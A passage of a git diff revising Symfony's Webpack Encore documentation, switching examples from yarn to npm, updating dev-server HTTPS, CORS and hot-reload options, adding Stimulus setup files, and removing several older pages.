+1,20 @@ -Using a CDN -=========== +Using a CDN with Webpack Encore +=============================== Are you deploying to a CDN? That's awesome :) Once you've made sure that your built files are uploaded to the CDN, configure it in Encore: .. code-block:: diff - // webpack.config.js - // ... + // webpack.config.js + // ... - Encore - .setOutputPath('public/build/') - // in dev mode, don't use the CDN - .setPublicPath('/build'); - // ... - ; + Encore + .setOutputPath('public/build/') + // in dev mode, don't use the CDN + .setPublicPath('/build'); + // ... + ; + if (Encore.isProduction()) { + Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net'); @@ -39,6 +39,10 @@ pages also use the CDN. Fortunately, the :ref:`entrypoints.json <encore-entrypointsjson-simple-description>` paths are updated to include the full URL to the CDN. +When deploying to a subdirectory of your CDN, you must add the path at the end of your URL - +e.g. ``Encore.setPublicPath('https://my-cool-app.com.global.prod.fastly.net/awesome-website')`` +will generate assets URLs like ``https://my-cool-app.com.global.prod.fastly.net/awesome-website/dashboard.js`` + If you are using ``Encore.enableIntegrityHashes()`` and your CDN and your domain are not the `same-origin`_, you may need to set the ``crossorigin`` option in your webpack_encore.yaml configuration to ``anonymous`` or ``use-credentials`` diff --git a/frontend/encore/code-splitting.rst b/frontend/encore/code-splitting.rst index 759987e5f0a..be1a30340f9 100644 --- a/frontend/encore/code-splitting.rst +++ b/frontend/encore/code-splitting.rst @@ -1,5 +1,5 @@ -Async Code Splitting -==================== +Async Code Splitting with Webpack Encore +======================================== When you require/import a JavaScript or CSS module, Webpack compiles that code into the final JavaScript or CSS file. Usually, that's exactly what you want. But what diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst index 7ea5a541622..33eb3467af8 100644 --- a/frontend/encore/copy-files.rst +++ b/frontend/encore/copy-files.rst @@ -1,5 +1,5 @@ -Copying & Referencing Images -============================ +Copying & Referencing Images with Webpack Encore +================================================ Need to reference a static file - like the path to an image for an ``img`` tag? That can be tricky if you store your assets outside of the public document root. @@ -16,7 +16,7 @@ To reference an image tag from inside a JavaScript file, *require* the file: // returns the final, public path to this file // path is relative to this file - e.g. assets/images/logo.png - const logoPath = require('../images/logo.png'); + import logoPath from '../images/logo.png'; let html = `<img src="${logoPath}" alt="ACME logo">`; @@ -28,21 +28,21 @@ Referencing Image files from a Template To reference an image file from outside of a JavaScript file that's processed by Webpack - like a template - you can use the ``copyFiles()`` method to copy those -files into your final output directory. +files into your final output directory. First enable it in ``webpack.config.js``: .. code-block:: diff - // webpack.config.js + // webpack.config.js - Encore - // ... - .setOutputPath('public/build/') + Encore + // ... + .setOutputPath('public/build/') + .copyFiles({ + from: './assets/images', + + // optional target path, relative to the output dir - + //to: 'images/[path][name].[ext]', + + to: 'images/[path][name].[ext]', + + // if versioning is enabled, add the file hash too + //to: 'images/[path][name].[hash:8].[ext]', @@ -51,19 +51,23 @@ files into your final output directory. + //pattern: /\.(png|jpg|jpeg)$/ + }) -This will copy all files from ``assets/images`` into ``public/build`` (the output -path). If you have :doc:`versioning enabled <versioning>`, the copied files will +Then restart Encore. When you do, it will give you a command you can run to +install any missing dependencies. After running that command and restarting +Encore, you're done! + +This will copy all files from ``assets/images`` into ``public/build/images``. +If you have :doc:`versioning enabled <versioning>`, the copied files will include a hash based on their content. To render inside Twig, use the ``asset()`` function: .. code-block:: html+twig - {# assets/images/logo.png was copied to public/build/logo.png #} - <img src="{{ asset('build/logo.png') }}" alt="ACME logo"> + {# assets/images/logo.png was copied to public/build/images/logo.png #} + <img src="{{ asset('build/images/logo.png') }}" alt="ACME logo"> - {# assets/images/subdir/logo.png was copied to public/build/subdir/logo.png #} - <img src="{{ asset('build/subdir/logo.png') }}" alt="ACME logo"> + {# assets/images/subdir/logo.png was copied to public/build/images/subdir/logo.png #} + <img src="{{ asset('build/images/subdir/logo.png') }}" alt="ACME logo"> Make sure you've enabled the :ref:`json_manifest_path <load-manifest-files>` option, which tells the ``asset()`` function to read the final paths from the ``manifest.json`` diff --git a/frontend/encore/css-preprocessors.rst b/frontend/encore/css-preprocessors.rst index 6b70e8f38cb..c56900462c3 100644 --- a/frontend/encore/css-preprocessors.rst +++ b/frontend/encore/css-preprocessors.rst @@ -1,5 +1,5 @@ -CSS Preprocessors: Sass, LESS, Stylus, etc. -=========================================== +CSS Preprocessors: Sass, etc. with Webpack Encore +================================================= To use the Sass, LESS or Stylus pre-processors, enable the one you want in ``webpack.config.js``: diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst index 66ce1f7c5cc..6cde5b7ee22 100644 --- a/frontend/encore/custom-loaders-plugins.rst +++ b/frontend/encore/custom-loaders-plugins.rst @@ -1,5 +1,5 @@ -Adding Custom Loaders & Plugins -=============================== +Adding Custom Loaders & Plugins with Webpack Encore +=================================================== Adding Custom Loaders --------------------- @@ -50,14 +50,17 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_): .. code-block:: diff - // webpack.config.js + // webpack.config.js + var webpack = require('webpack'); - Encore - // ... + Encore + // ... - + .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/)) - ; + + .addPlugin(new webpack.IgnorePlugin({ + + resourceRegExp: /^\.\/locale$/, + + contextRegExp: /moment$/, + + })) + ; .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader .. _`plugins`: https://webpack.js.org/plugins/ diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst index 4d0904125cb..a3adb04685a 100644 --- a/frontend/encore/dev-server.rst +++ b/frontend/encore/dev-server.rst @@ -1,37 +1,22 @@ Using webpack-dev-server and HMR ================================ -While developing, instead of using ``yarn encore dev --watch``, you can use the +While developing, instead of using ``npx encore dev --watch``, you can use the `webpack-dev-server`_: .. code-block:: terminal - $ yarn encore dev-server + $ npm run dev-server -This builds and serves the front-end assets from a new server. This server runs at -``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. -This server does not actually write the files to disk; instead it servers them from memory, +This builds and serves the front-end assets from a new server. This server runs at +``localhost:8080`` by default, meaning your build assets are available at ``localhost:8080/build``. +This server does not actually write the files to disk; instead it serves them from memory, allowing for hot module reloading. -As a consequence, the ``link`` and ``script`` tags need to point to the new server. If you're using the -``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are -:ref:`processing your assets through entrypoints.json <load-manifest-files>` in some other way), -you're done: the paths in your templates will automatically point to the dev server. - -Enabling HTTPS using the Symfony Web Server -------------------------------------------- - -If you're using the :doc:`Symfony web server </setup/symfony_server>` locally with HTTPS, -you'll need to also tell the dev-server to use HTTPS. To do this, you can reuse the Symfony web -server SSL certificate: - -.. code-block:: terminal - - # Unix-based systems - $ yarn dev-server --https --pfx=$HOME/.symfony/certs/default.p12 - - # Windows - $ encore dev-server --https --pfx=%UserProfile%\.symfony\certs\default.p12 +As a consequence, the ``link`` and ``script`` tags need to point to the new server. +If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` +Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>` +in some other way), you're done: the paths in your templates will automatically point to the dev server. dev-server Options ------------------ @@ -41,7 +26,7 @@ You can set these options via command line options: .. code-block:: terminal - $ yarn encore dev-server --https --port 9000 + $ npm run dev-server -- --port 9000 You can also set these options using the ``Encore.configureDevServerOptions()`` method in your ``webpack.config.js`` file: @@ -55,64 +40,113 @@ method in your ``webpack.config.js`` file: // ... .configureDevServerOptions(options => { - options.https = { - key: '/path/to/server.key', - cert: '/path/to/server.crt', + options.server = { + type: 'https', + options: { + key: '/path/to/server.key', + cert: '/path/to/server.crt', + } } }) ; -.. versionadded:: 0.28.4 +Enabling HTTPS using the Symfony Web Server +------------------------------------------- - The ``Encore.configureDevServerOptions()`` method was introduced in Encore 0.28.4. +If you're using the :ref:`Symfony local web server <symfony-cli-server>` locally +with HTTPS, you'll need to also tell the dev-server to use HTTPS. To do this, +you can reuse the Symfony web server SSL certificate: -Hot Module Replacement HMR --------------------------- +.. code-block:: diff -Encore *does* support `HMR`_ for :doc:`Vue.js </frontend/encore/vuejs>`, but -does *not* work for styles anywhere at this time. To activate it, pass the ``--hot`` -option: + // webpack.config.js + // ... + + const path = require('path'); -.. code-block:: terminal + Encore + // ... - $ ./node_modules/.bin/encore dev-server --hot + + .configureDevServerOptions(options => { + + options.server = { + + type: 'https', + + options: { + + pfx: path.join(process.env.HOME, '.symfony5/certs/default.p12'), + + } + + } + + }) -If you want to use SSL with self-signed certificates, add the ``--https``, -``--pfx=``, and ``--allowed-hosts`` options to the ``dev-server`` command in -the ``package.json`` file: +.. note:: -.. code-block:: diff + If you are using Node.js 17 or newer and ``dev-server`` fails to start with TLS error, + the certificate file might be generated by an old version of **symfony-cli**. Upgrade + **symfony-cli** to the latest version, delete the old ``~/.symfony5/certs/default.p12`` file, + and start symfony server again. - { - ... - "scripts": { - - "dev-server": "encore dev-server", - + "dev-server": "encore dev-server --https --pfx=$HOME/.symfony/certs/default.p12 --allowed-hosts=mydomain.wip", - ... - } - } + This generates a new ``default.p12`` file suitable for use with recent Node.js versions. -If you experience issues related to CORS (Cross Origin Resource Sharing), add -the ``--disable-host-check`` and ``--port`` options to the ``dev-server`` -command in the ``package.json`` file: +CORS Issues +----------- -.. code-block:: diff +If you experience issues related to CORS (Cross Origin Resource Sharing), set +the following option: + +.. code-block:: javascript + + // webpack.config.js + // ... + + Encore + // ... + + .configureDevServerOptions(options => { + options.allowedHosts = 'all'; + // in older Webpack Dev Server versions, use this option instead: + // options.firewall = false; + }) + +Beware that this is not a recommended security practice in general, but here +it's required to solve the CORS issue. + +Hot Module Replacement HMR +-------------------------- + +Hot module replacement is a superpower of the ``dev-server`` where styles and +(in some cases) JavaScript can automatically update without needing to reload +your page. HMR works automatically with CSS (as long as you're using the +``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript +(like :doc:`Vue.js </frontend/encore/vuejs>`). + +Live Reloading when changing PHP / Twig Files +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - { - ... - "scripts": { - - "dev-server": "encore dev-server", - + "dev-server": "encore dev-server --port 8080 --disable-host-check", - ... - } - } +To utilize the HMR superpower along with live reload for your PHP code and +templates, set the following options: + +.. code-block:: javascript + + // webpack.config.js + // ... + + Encore + // ... + + .configureDevServerOptions(options => { + options.liveReload = true; + options.static = { + watch: false + }; + options.watchFiles = { + paths: ['src/**/*.php', 'templates/**/*'], + }; + }) -.. caution:: +The ``static.watch`` option is required to disable the default reloading of +files from the static directory, as those files are already handled by HMR. - Beware that `it's not recommended to disable host checking`_ in general, but - here it's required to solve the CORS issue. +.. versionadded:: 1.0.0 + Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line + to enable HMR. You also needed to disable CSS extraction to enable HMR for + CSS. That is no longer needed. .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/ -.. _`HMR`: https://webpack.js.org/concepts/hot-module-replacement/ -.. _`it's not recommended to disable host checking`: https://webpack.js.org/configuration/dev-server/#devserverdisablehostcheck diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst index c6c6d86c257..24091ff4c07 100644 --- a/frontend/encore/faq.rst +++ b/frontend/encore/faq.rst @@ -1,5 +1,5 @@ -FAQ and Common Issues -===================== +WebpackEncore: FAQ and Common Issues +==================================== .. _how-do-i-deploy-my-encore-assets: @@ -53,7 +53,7 @@ and the built files. Your ``.gitignore`` file should include: # whatever path you're passing to Encore.setOutputPath() /public/build -You *should* commit all of your source asset files, ``package.json`` and ``yarn.lock``. +You *should* commit all of your source asset files, ``package.json`` and ``package-lock.json``. My App Lives under a Subdirectory --------------------------------- @@ -63,11 +63,11 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se .. code-block:: diff - // webpack.config.js - Encore - // ... + // webpack.config.js + Encore + // ... - .setOutputPath('public/build/') + .setOutputPath('public/build/') - .setPublicPath('/build') + // this is your *true* public path @@ -76,7 +76,7 @@ like ``/myAppSubdir``), you will need to configure that when calling ``Encore.se + // this is now needed so that your manifest.json keys are still `build/foo.js` + // (which is a file that's used by Symfony's `asset()` function) + .setManifestKeyPrefix('build') - ; + ; If you're using the ``encore_entry_script_tags()`` and ``encore_entry_link_tags()`` Twig shortcuts (or are :ref:`processing your assets through entrypoints.json <load-manifest-files>` @@ -105,8 +105,9 @@ file script tag is rendered automatically. This dependency was not found: some-module in ./path/to/file.js --------------------------------------------------------------- -Usually, after you install a package via yarn, you can require / import it to use -it. For example, after running ``yarn add respond.js``, you try to require that module: +Usually, after you install a package via npm, you can require / import +it to use it. For example, after running ``npm install respond.js``, +you try to require that module: .. code-block:: javascript @@ -136,8 +137,6 @@ For performance, Encore does not process libraries inside ``node_modules/`` thro Babel. But, you can change that via the ``configureBabel()`` method. See :doc:`/frontend/encore/babel` for details. -.. _`rsync`: https://rsync.samba.org/ - How Do I Integrate my Encore Configuration with my IDE? ------------------------------------------------------- @@ -152,7 +151,7 @@ productive (for example by resolving aliases). However, you may face this error: calling Encore directly. It fails because the Encore Runtime Environment is only configured when you are -running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to +running it (e.g. when executing ``npx encore dev``). Fix this issue calling to ``Encore.isRuntimeEnvironmentConfigured()`` and ``Encore.configureRuntimeEnvironment()`` methods: @@ -167,4 +166,30 @@ running it (e.g. when executing ``yarn encore dev``). Fix this issue calling to // ... the rest of the Encore configuration +My Tests are Failing Because of ``entrypoints.json`` File +--------------------------------------------------------- + +After installing Encore, you might see the following error when running tests +locally or on your Continuous Integration server: + +.. code-block:: text + + Uncaught PHP Exception Twig\Error\RuntimeError: + "An exception has been thrown during the rendering of a template + ("Could not find the entrypoints file from Webpack: + the file "/var/www/html/public/build/entrypoints.json" does not exist. + +This is happening because you did not build your Encore assets, hence no +``entrypoints.json`` file. To solve this error, either build Encore assets or +set the ``strict_mode`` option to ``false`` (this prevents Encore's Twig +functions to trigger exceptions when there's no ``entrypoints.json`` file): + +.. code-block:: yaml + + # config/packages/test/webpack_encore.yaml + webpack_encore: + strict_mode: false + # ... + +.. _`rsync`: https://rsync.samba.org/ .. _`Webpack integration in PhpStorm`: https://www.jetbrains.com/help/phpstorm/using-webpack.html diff --git a/frontend/encore/index.rst b/frontend/encore/index.rst new file mode 100644 index 00000000000..80f08deffb6 --- /dev/null +++ b/frontend/encore/index.rst @@ -0,0 +1,53 @@ +.. _encore-toc: + +Webpack Encore Documentation +---------------------------- + +Getting Started +............... + +* :doc:`Installation </frontend/encore/installation>` +* :doc:`Using Webpack Encore </frontend/encore/simple-example>` + +Adding more Features +.................... + +* :doc:`CSS Preprocessors: Sass, LESS, etc. </frontend/encore/css-preprocessors>` +* :doc:`PostCSS and autoprefixing </frontend/encore/postcss>` +* :doc:`Enabling React.js </frontend/encore/reactjs>` +* :doc:`Enabling Vue.js (vue-loader) </frontend/encore/vuejs>` +* :doc:`/frontend/encore/copy-files` +* :doc:`Configuring Babel </frontend/encore/babel>` +* :doc:`Source maps </frontend/encore/sourcemaps>` +* :doc:`Enabling TypeScript (ts-loader) </frontend/encore/typescript>` + +Optimizing +.......... + +* :doc:`Versioning (and the entrypoints.json/manifest.json files) </frontend/encore/versioning>` +* :doc:`Using a CDN </frontend/encore/cdn>` +* :doc:`/frontend/encore/code-splitting` +* :doc:`/frontend/encore/split-chunks` +* :doc:`/frontend/encore/url-loader` + +Guides +...... + +* :doc:`Using Bootstrap CSS & JS </frontend/encore/bootstrap>` +* :doc:`jQuery and Legacy Applications </frontend/encore/legacy-applications>` +* :doc:`webpack-dev-server and Hot Module Replacement (HMR) </frontend/encore/dev-server>` +* :doc:`Adding custom loaders & plugins </frontend/encore/custom-loaders-plugins>` +* :doc:`Advanced Webpack Configuration </frontend/encore/advanced-config>` +* :doc:`Using Encore in a Virtual Machine </frontend/encore/virtual-machine>` + +Issues & Questions +.................. + +* :doc:`FAQ & Common Issues </frontend/encore/faq>` + +Full API +........ + +* `Full API`_ + +.. _`Full API`: https://github.com/symfony/webpack-encore/blob/master/index.js diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst index 8241dbcd0b2..2ddff9de345 100644 --- a/frontend/encore/installation.rst +++ b/frontend/encore/installation.rst @@ -1,9 +1,8 @@ Installing Encore ================= -First, make sure you `install Node.js`_ and also the `Yarn package manager`_. -The following instructions depend on whether you are installing Encore in a -Symfony application or not. +First, make sure you `install Node.js`_. Then, follow the instructions below, +which depend on whether you are installing Encore in a Symfony application or not. Installing Encore in Symfony Applications ----------------------------------------- @@ -14,7 +13,7 @@ project: .. code-block:: terminal $ composer require symfony/webpack-encore-bundle - $ yarn install + $ npm install If you are using :ref:`Symfony Flex <symfony-flex>`, this will install and enable the `WebpackEncoreBundle`_, create the ``assets/`` directory, add a @@ -28,23 +27,19 @@ and files by yourself following the instructions shown in the next section. Installing Encore in non Symfony Applications --------------------------------------------- -Install Encore into your project via Yarn: +Install Encore into your project via npm: .. code-block:: terminal - $ yarn add @symfony/webpack-encore --dev - - # if you prefer npm, run this command instead: $ npm install @symfony/webpack-encore --save-dev This command creates (or modifies) a ``package.json`` file and downloads -dependencies into a ``node_modules/`` directory. Yarn also creates/updates a -``yarn.lock`` (called ``package-lock.json`` if you use npm). +dependencies into a ``node_modules/`` directory. .. tip:: - You *should* commit ``package.json`` and ``yarn.lock`` (or ``package-lock.json`` - if using npm) to version control, but ignore ``node_modules/``. + You *should* commit ``package.json`` and ``package-lock.json`` + to version control, but ignore ``node_modules/``. Creating the webpack.config.js File ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -54,7 +49,7 @@ is the main config file for both Webpack and Webpack Encore: .. code-block:: javascript - var Encore = require('@symfony/webpack-encore'); + const Encore = require('@symfony/webpack-encore'); // Manually configure the runtime environment if not already configured yet by the "encore" command. // It's useful when you use tools that rely on webpack.config.js file. @@ -73,15 +68,13 @@ is the main config file for both Webpack and Webpack Encore: /* * ENTRY CONFIG * - * Add 1 entry for each "page" of your app - * (including one that's included on every page - e.g. "app") - * * Each entry will result in one JavaScript file (e.g. app.js) * and one CSS file (e.g. app.css) if your JavaScript imports CSS. */ .addEntry('app', './assets/app.js') - //.addEntry('page1', './assets/page1.js') - //.addEntry('page2', './assets/page2.js') + + // enables the Symfony UX Stimulus bridge (used in assets/bootstrap.js) + .enableStimulusBridge('./assets/controllers.json') // When enabled, Webpack "splits" your files into smaller pieces for greater optimization. .splitEntryChunks() @@ -103,6 +96,10 @@ is the main config file for both Webpack and Webpack Encore: // enables hashed filenames (e.g. app.abc123.css) .enableVersioning(Encore.isProduction()) + .configureBabel((config) => { + config.plugins.push('@babel/plugin-transform-class-properties'); + }) + // enables @babel/preset-env polyfills .configureBabelPresetEnv((config) => { config.useBuiltIns = 'usage'; @@ -115,20 +112,22 @@ is the main config file for both Webpack and Webpack Encore: // uncomment if you use TypeScript //.enableTypeScriptLoader() + // uncomment if you use React + //.enableReactPreset() + // uncomment to get integrity="..." attributes on your script & link tags // requires WebpackEncoreBundle 1.4 or higher //.enableIntegrityHashes(Encore.isProduction()) // uncomment if you're having problems with a jQuery plugin //.autoProvidejQuery() - - // uncomment if you use API Platform Admin (composer require api-admin) - //.enableReactPreset() - //.addEntry('admin', './assets/admin.js') ; module.exports = Encore.getWebpackConfig(); +Creating Other Supporting File +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Next, open the new ``assets/app.js`` file which contains some JavaScript code *and* imports some CSS: @@ -143,12 +142,10 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code */ // any CSS you import will output into a single css file (app.css in this case) - import '../css/app.css'; + import './styles/app.css'; - // Need jQuery? Install it with "yarn add jquery", then uncomment to import it. - // import $ from 'jquery'; - - console.log('Hello Webpack Encore! Edit me in assets/app.js'); + // start the Stimulus application + import './bootstrap'; And the new ``assets/styles/app.css`` file: @@ -159,9 +156,51 @@ And the new ``assets/styles/app.css`` file: background-color: lightgray; } -You'll customize and learn more about these file in :doc:`/frontend/encore/simple-example`. +You should also add an ``assets/bootstrap.js`` file, which initializes Stimulus: +a system that you'll learn about soon: + +.. code-block:: javascript + + // assets/bootstrap.js + import { startStimulusApp } from '@symfony/stimulus-bridge'; + + // Registers Stimulus controllers from controllers.json and in the controllers/ directory + export const app = startStimulusApp(require.context( + '@symfony/stimulus-bridge/lazy-controller-loader!./controllers', + true, + /\.(j|t)sx?$/ + )); + + // register any custom, 3rd party controllers here + // app.register('some_controller_name', SomeImportedController); + +Then create an ``assets/controllers.json`` file, which also fits into +the Stimulus system: + +.. code-block:: json + + { + "controllers": [], + "entrypoints": [] + } + +Finally, though it's optional, add the following ``scripts`` to your ``package.json`` +file so you can run the same commands in the rest of the documentation: + +.. code-block:: json + + "scripts": { + "dev-server": "encore dev-server", + "dev": "encore dev", + "watch": "encore dev --watch", + "build": "encore production --progress" + } + +You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`. +When you execute Encore, it will ask you to install a few more dependencies based +on which features of Encore you have enabled. -.. caution:: +.. warning:: Some of the documentation will use features that are specific to Symfony or Symfony's `WebpackEncoreBundle`_. These are optional, and are special ways @@ -170,5 +209,4 @@ You'll customize and learn more about these file in :doc:`/frontend/encore/simpl :doc:`split chunks </frontend/encore/split-chunks>`. .. _`install Node.js`: https://nodejs.org/en/download/ -.. _`Yarn package manager`: https://yarnpkg.com/getting-started/install .. _`WebpackEncoreBundle`: https://github.com/symfony/webpack-encore-bundle diff --git a/frontend/encore/legacy-applications.rst b/frontend/encore/legacy-applications.rst index 4f1193d7e06..20523c5f459 100644 --- a/frontend/encore/legacy-applications.rst +++ b/frontend/encore/legacy-applications.rst @@ -1,5 +1,5 @@ -jQuery Plugins and Legacy Applications -====================================== +jQuery Plugins and Legacy Applications with Webpack Encore +========================================================== Inside Webpack, when you require a module, it does *not* (usually) set a global variable. Instead, it just returns a value: @@ -32,10 +32,11 @@ jQuery plugins often expect that jQuery is already available via the ``$`` or .. code-block:: diff - Encore - // ... + // webpack.config.js + Encore + // ... + .autoProvidejQuery() - ; + ; After restarting Encore, Webpack will look for all uninitialized ``$`` and ``jQuery`` variables and automatically require ``jquery`` and set those variables for you. @@ -74,8 +75,10 @@ page, add: .. code-block:: diff - // require jQuery normally - const $ = require('jquery'); + // app.js + + // require jQuery normally + const $ = require('jquery'); + // create global $ and jQuery variables + global.$ = global.jQuery = $; @@ -84,3 +87,19 @@ The ``global`` variable is a special way of setting things in the ``window`` variable. In a web context, using ``global`` and ``window`` are equivalent, except that ``window.jQuery`` won't work when using ``autoProvidejQuery()``. In other words, use ``global``. + +Additionally, be sure to set the ``script_attributes.defer`` option to ``false`` +in your ``webpack_encore.yaml`` file: + +.. code-block:: yaml + + # config/packages/webpack_encore.yaml + webpack_encore: + # ... + script_attributes: + defer: false + +This will make sure there is *not* a ``defer`` attribute on your ``script`` +tags. For more information, see `Moving <script> inside <head> and the "defer" Attribute`_ + +.. _`Moving <script> inside <head> and the "defer" Attribute`: https://symfony.com/blog/moving-script-inside-head-and-the-defer-attribute diff --git a/frontend/encore/page-specific-assets.rst b/frontend/encore/page-specific-assets.rst deleted file mode 100644 index 92ab00a0a61..00000000000 --- a/frontend/encore/page-specific-assets.rst +++ /dev/null @@ -1,27 +0,0 @@ -Creating Page-Specific CSS/JS -============================= - -If you're creating a single page app (SPA), then you probably only need to define -*one* entry in ``webpack.config.js``. But if you have multiple pages, you might -want page-specific CSS and JavaScript. - -To learn how to set this up, see the :ref:`multiple-javascript-entries` example. - -Multiple Entries Per Page? --------------------------- - -Typically, you should include only *one* JavaScript entry per page. Think of the -checkout page as its own "app", where ``checkout.js`` includes all the functionality -you need. - -However, it's pretty common to need to include some global JavaScript and CSS on -every page. For that reason, it usually makes sense to have one entry (e.g. ``app``) -that contains this global code (both JavaScript & CSS) and is included on every -page (i.e. it's included in the *layout* of your app). This means that you will -always have one, global entry on every page (e.g. ``app``) and you *may* have one -page-specific JavaScript and CSS file from a page-specific entry (e.g. ``checkout``). - -.. tip:: - - Be sure to use :doc:`split chunks </frontend/encore/split-chunks>` - to avoid duplicating and shared code between your entry files. diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst index 76c6e8d67e9..8e976e30ee2 100644 --- a/frontend/encore/postcss.rst +++ b/frontend/encore/postcss.rst @@ -1,14 +1,29 @@ -PostCSS and autoprefixing (postcss-loader) -========================================== +PostCSS and autoprefixing (postcss-loader) with Webpack Encore +============================================================== `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot of cool ways, like `autoprefixing`_, `linting`_ and more! -First, download ``postcss-loader`` and any plugins you want, like ``autoprefixer``: +First enable it in ``webpack.config.js``: + +.. code-block:: diff + + // webpack.config.js + + Encore + // ... + + .enablePostCssLoader() + ; + +Then restart Encore. When you do, it will give you a command you can run to +install any missing dependencies. After running that command and restarting +Encore, you're done! + +Next, download any plugins you want, like ``autoprefixer``: .. code-block:: terminal - $ yarn add postcss-loader autoprefixer --dev + $ npm install autoprefixer --save-dev Next, create a ``postcss.config.js`` file at the root of your project: @@ -17,42 +32,30 @@ Next, create a ``postcss.config.js`` file at the root of your project: module.exports = { plugins: { // include whatever plugins you want - // but make sure you install these via yarn or npm! + // but make sure you install these via npm! // add browserslist config to package.json (see below) autoprefixer: {} } } -Then, enable the loader in Encore! - -.. code-block:: diff - - // webpack.config.js - - Encore - // ... - + .enablePostCssLoader() - ; - -Because you just modified ``webpack.config.js``, stop and restart Encore. - That's it! The ``postcss-loader`` will now be used for all CSS, Sass, etc files. You can also pass options to the `postcss-loader`_ by passing a callback: .. code-block:: diff - // webpack.config.js + // webpack.config.js + + const path = require('path'); - Encore - // ... + Encore + // ... + .enablePostCssLoader((options) => { - + options.config = { + + options.postcssOptions = { + // the directory where the postcss.config.js file is stored - + path: 'path/to/config' + + config: path.resolve(__dirname, 'sub-dir', 'custom.config.js'), + }; + }) - ; + ; .. _browserslist_package_config: @@ -65,25 +68,25 @@ support. The best-practice is to configure this directly in your ``package.json` .. code-block:: diff - { + { + "browserslist": [ + "defaults" + ] - } + } The ``defaults`` option is recommended for most users and would be equivalent to the following browserslist: .. code-block:: diff - { + { + "browserslist": [ + "> 0.5%", + "last 2 versions", + "Firefox ESR", + "not dead" + ] - } + } See `browserslist`_ for more details on the syntax. diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst index ca3b017f13b..8513f22e725 100644 --- a/frontend/encore/reactjs.rst +++ b/frontend/encore/reactjs.rst @@ -1,30 +1,32 @@ -Enabling React.js -================= +Enabling React.js with Webpack Encore +===================================== .. admonition:: Screencast :class: screencast Do you prefer video tutorials? Check out the `React.js screencast series`_. -Using React? First add some dependencies with Yarn: +.. tip:: + + Check out live demos of Symfony UX React component at `https://ux.symfony.com/react`_! + +Using React? First add some dependencies with npm: .. code-block:: terminal - $ yarn add @babel/preset-react --dev - $ yarn add react react-dom prop-types + $ npm install react react-dom prop-types --save Enable react in your ``webpack.config.js``: .. code-block:: diff - // webpack.config.js - // ... + // webpack.config.js + // ... - Encore - // ... + Encore + // ... + .enableReactPreset() - ; - + ; Then restart Encore. When you do, it will give you a command you can run to install any missing dependencies. After running that command and restarting @@ -33,3 +35,4 @@ Encore, you're done! Your ``.js`` and ``.jsx`` files will now be transformed through ``babel-preset-react``. .. _`React.js screencast series`: https://symfonycasts.com/screencast/reactjs +.. _`https://ux.symfony.com/react`: https://ux.symfony.com/react diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst deleted file mode 100644 index ebb1f3cb8a5..00000000000 --- a/frontend/encore/server-data.rst +++ /dev/null @@ -1,45 +0,0 @@ -Passing Information from Twig to JavaScript -=========================================== - -In Symfony applications, you may find that you need to pass some dynamic data -(e.g. user information) from Twig to your JavaScript code. One great way to pass -dynamic configuration is by storing information in ``data`` attributes and reading -them later in JavaScript. For example: - -.. code-block:: html+twig - - <div class="js-user-rating" data-is-authenticated="{{ app.user ? 'true' : 'false' }}"> - <!-- ... --> - </div> - -Fetch this in JavaScript: - -.. code-block:: javascript - - document.addEventListener('DOMContentLoaded', function() { - var userRating = document.querySelector('.js-user-rating'); - var isAuthenticated = userRating.dataset.isAuthenticated; - - // or with jQuery - //var isAuthenticated = $('.js-user-rating').data('isAuthenticated'); - }); - -.. note:: - - When `accessing data attributes from JavaScript`_, the attribute names are - converted from dash-style to camelCase. For example, ``data-is-authenticated`` - becomes ``isAuthenticated`` and ``data-number-of-reviews`` becomes - ``numberOfReviews``. - -There is no size limit for the value of the ``data-`` attributes, so you can -store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing -with HTML attributes. For example, if your ``User`` object has some ``getProfileData()`` -method that returns an array, you could do the following: - -.. code-block:: html+twig - - <div data-user-profile="{{ app.user ? app.user.profileData|json_encode|e('html_attr') }}"> - <!-- ... --> - </div> - -.. _`accessing data attributes from JavaScript`: https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst deleted file mode 100644 index a2c2d08ea2a..00000000000 --- a/frontend/encore/shared-entry.rst +++ /dev/null @@ -1,42 +0,0 @@ -Creating a Shared Commons Entry -=============================== - -.. caution:: - - While this method still works, see :doc:`/frontend/encore/split-chunks` for - the preferred solution to sharing assets between multiple entry files. - -Suppose you have multiple entry files and *each* requires ``jquery``. In this -case, *each* output file will contain jQuery, slowing down your user's experience. -To solve this, you can *extract* the common libraries to a "shared" entry file -that's included on every page. - -Suppose you already have an entry called ``app`` that's included on every page. -Update your code to use ``createSharedEntry()``: - -.. code-block:: diff - - Encore - // ... - - .addEntry('app', './assets/app.js') - + .createSharedEntry('app', './assets/app.js') - .addEntry('homepage', './assets/homepage.js') - .addEntry('blog', './assets/blog.js') - .addEntry('store', './assets/store.js') - -Before making this 